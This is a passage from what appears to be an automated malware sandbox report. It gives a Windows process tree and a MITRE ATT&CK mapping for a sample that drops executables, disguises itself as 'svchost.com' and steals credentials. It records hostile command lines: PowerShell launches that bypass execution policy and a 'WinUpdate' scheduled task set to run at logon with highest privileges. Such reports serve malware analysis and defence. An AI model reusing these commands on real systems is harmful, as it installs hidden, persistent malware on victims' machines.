    PID:2480
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:3028
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:3608
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:792
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\czuanu.exe"' & exit
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4936
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\czuanu.exe"'
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1260
      - C:\Users\Admin\AppData\Local\Temp\czuanu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\czuanu.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies system executable filetype association
        Drops file in Program Files directory
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\czuanu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3582-490\czuanu.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:184
        
        C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:208
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE"
        8⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4528
        
        C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE
        
        C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        
        PID:888
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        10⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2060
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:4348
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:4036
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'
        12⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4352
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp78D.tmp.bat""
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:3316
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        
        PID:4692
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        11⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4296
        
        C:\Users\Admin\AppData\Roaming\WinUpdate.exe
        
        "C:\Users\Admin\AppData\Roaming\WinUpdate.exe"
        11⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4848
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\WINUPD~1.EXE"
        12⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2520
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\WINUPD~1.EXE
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\WINUPD~1.EXE
        13⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3044
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        14⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3368
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        15⤵
        System Location Discovery: System Language Discovery
        
        PID:3052
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        16⤵
        
        PID:4340
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'
        16⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1480
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3B4F.tmp.bat""
        14⤵
        System Location Discovery: System Language Discovery
        
        PID:4832
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        15⤵
        
        PID:3284
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        15⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3444
        
        C:\Users\Admin\AppData\Roaming\WinUpdate.exe
        
        "C:\Users\Admin\AppData\Roaming\WinUpdate.exe"
        15⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3684
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rgyfjq.exe"' & exit
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:2256
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rgyfjq.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:228
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1636
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rgyfjq.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1380
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\rgyfjq.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3700
        
        C:\Users\Admin\AppData\Local\Temp\rgyfjq.exe
        
        C:\Users\Admin\AppData\Local\Temp\rgyfjq.exe
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4400
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4036
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xcfbhx.exe"' & exit
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:3388
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xcfbhx.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:212
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3700
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xcfbhx.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:184
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\xcfbhx.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2188
        
        C:\Users\Admin\AppData\Local\Temp\xcfbhx.exe
        
        C:\Users\Admin\AppData\Local\Temp\xcfbhx.exe
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4772
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 240
        9⤵
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:700
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\fhgqqd.exe"' & exit
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:2068
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\fhgqqd.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1780
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1948
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\fhgqqd.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:184
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\fhgqqd.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3616
        
        C:\Users\Admin\AppData\Local\Temp\fhgqqd.exe
        
        C:\Users\Admin\AppData\Local\Temp\fhgqqd.exe
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1716
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1716 -s 236
        9⤵
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:680
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig /renew
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /renew
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:2204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3584

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3772

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4024

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3696

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4612

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3952

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4940

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4708

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4324

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:404

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
PID:3664

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5004

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:4744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2516
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4772 -ip 4772
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:408
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1716 -ip 1716
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:2460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery